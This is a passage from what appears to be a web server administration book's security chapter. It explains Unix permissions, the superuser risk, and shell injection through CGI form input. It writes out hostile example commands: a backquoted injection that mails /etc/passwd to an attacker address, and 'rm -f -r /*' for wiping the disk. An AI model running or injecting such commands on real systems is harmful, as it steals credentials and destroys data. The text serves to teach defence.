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Chapter 13. Security

The operation of a web server raises several security issues. Here we look at them in general terms; later on, we will discuss the necessary code in detail.

We are no more anxious to have unauthorized people in our computer than to have unauthorized people in our house. In the ordinary way, a desktop PC is pretty secure. An intruder would have to get physically into your house or office to get at the information in it or to damage it. However, once you connect a telephone line, it's as if you moved your house to a street with 30 million close neighbors (not all of them desirable), tore your front door off its hinges, and went out leaving the lights on and your children in bed.

A complete discussion of computer security would fill a library. However, the meat of the business is as follows. We want to make it impossible for strangers to copy, alter, or erase any of our data files. We want to prevent strangers from running any unapproved programs on our machine. Just as important, we want to prevent our friends and legitimate users from making silly mistakes that may have consequences as serious as deliberate vandalism. For instance, they can execute the command:

rm -f -r *

and delete all their own files and subdirectories, but they won't be able to execute this dramatic action in anyone else's area. One hopes no one would be as silly as that, but subtler mistakes can be as damaging.

As far as the system designer is concerned, there is not a lot of difference between villainy and willful ignorance. Both must be guarded against.

We look at basic security as it applies to a system with a number of terminals that might range from 2 to 10,000, and then see how it can be applied to a web server. We assume that a serious operating system such as Unix is running.

Figure 13 We do not include Win32 in this chapter, even though Apache now runs on it, because it is our opinion that if you care about security you should not be using Win32. That is not to say that Win32 has no security, but it is poorly documented, understood by very few people, and constantly undermined by bugs and dubious practices (such as advocating ActiveX downloads from the Web).

The basic idea of standard Unix security is that every operation on the computer is commanded by a known person who can be held responsible for his or her actions. Everyone using the computer has to log in so the computer knows who he or she is. Users identify themselves with unique passwords that are checked against a security database maintained by the administrator. On entry, each person is assigned to a group of people with similar security privileges; on a properly secure system, every action the user makes is logged. Every program and every data file on the machine also belongs to a security group. The effect of the security system is that a user can run only a program available to his or her security group, and that program can access only files that are also available to the user's group.

In this way, we can keep the accounts people from fooling with engineering drawings, and the salespeople are unable to get into the accounts area to massage their approved expense claims.

Of course, there has to be someone with the authority to go everywhere and alter everything; otherwise, the system would never get set up in the first place. This person is the superuser, who logs in as root using the top-secret password pencilled on the wall over the system console. He is essential, but because of his awesome powers, he is a very worrying person to have around. If an enemy agent successfully impersonates your head of security, you are in real trouble.

And, of course, this is exactly the aim of the wolf: to get himself into the machine with superuser's privileges so that he can run any program. Failing that, he wants at least to get in with privileges higher than those to which he is entitled. If he can do that, he can potentially delete data, read files he shouldn't, and collect passwords to other, more valuable, systems. Our object is to see that he doesn't.

13.1. Internal and External Users

As we have said, most serious operating systems, including Unix, provide security by limiting the ability of each user to perform certain operations. The exact details are unimportant, but when we apply this principle to a web server, we clearly have to decide who the users of the web server are with respect to the security of our network sheltering behind it. When considering a web server's security, we must recognize that there are essentially two kinds of users: internal and external.

The internal users are those within the organization that owns the server (or, at least, the users the owners intend to be able to update server content); the external ones inhabit the rest of the Internet. Of course, there are many levels of granularity below this one, but here we are trying to capture the difference between users who are supposed to use the HTTP server only to browse pages (the external users), and users who may be permitted greater access to the web server (the internal users).

We need to consider security for both of these groups, but the external users are more worrying and have to be more strictly controlled. It is not that the internal users are necessarily nicer people or less likely to get up to mischief. In some ways, they are more likely to create trouble, having motive and knowledge, but, to put it bluntly, we know (mostly) who signs their paychecks. The external users are usually beyond our vengeance.

In essence, by connecting to the Internet, we allow anyone in the world to type anything they like on our server's keyboard. This is an alarming thought: we want to allow them to do a very small range of safe things and to make sure that they cannot do anything outside that range. This desire has a couple of implications:

Unfortunately, Unix works against us. First, the standard HTTP port is 80. Only the superuser can attach to this port (this is a misguided historical attempt at security), so the server must at least start up as the superuser: this is exactly what we do not want.[59]

[59]This is a rare case in which Win32 is actually better than Unix. We are not required to be superuser on Win32, though we do have to have permission to start services.

Another problem is that the various shells used by Unix have a rich syntax, full of clever tricks that the Bad Guy may be able to exploit to do things we do not expect or like. Win32 is by no means immune to these problems either, as the only shell it provides (COMMAND.COM ) is so lacking in power that Unix shells are almost invariably used in its place.

For example, we might have sent a form to the user in HTML script. His computer interprets the script and puts the form up on his screen. He fills in the form and hits the Submit button. His machine then sends it back to our server, where it invokes a URL with the contents of the form tacked on the end. We have set up our server so that this URL runs a script that appends the contents of the form to a file we can look at later. Part of the script might be the following line:

echo "You have sent the following message: $MESSAGE"

The intention is that our machine should return a confirmatory message to the user, quoting whatever he said to us in the text string $MESSAGE.

Now, if the external user is a cunning and bad person, he may send us the $MESSAGE:

`mail wolf@lair.com < /etc/passwd`

Since backquotes are interpreted by the shell as enclosing commands, this has the alarming effect of sending our top-secret password file to this complete stranger. Or, with less imagination but equal malice, he might simply have sent us:

`rm -f -r /*`

which amusingly licks our hard disk as clean as a wolf 's dinner plate.

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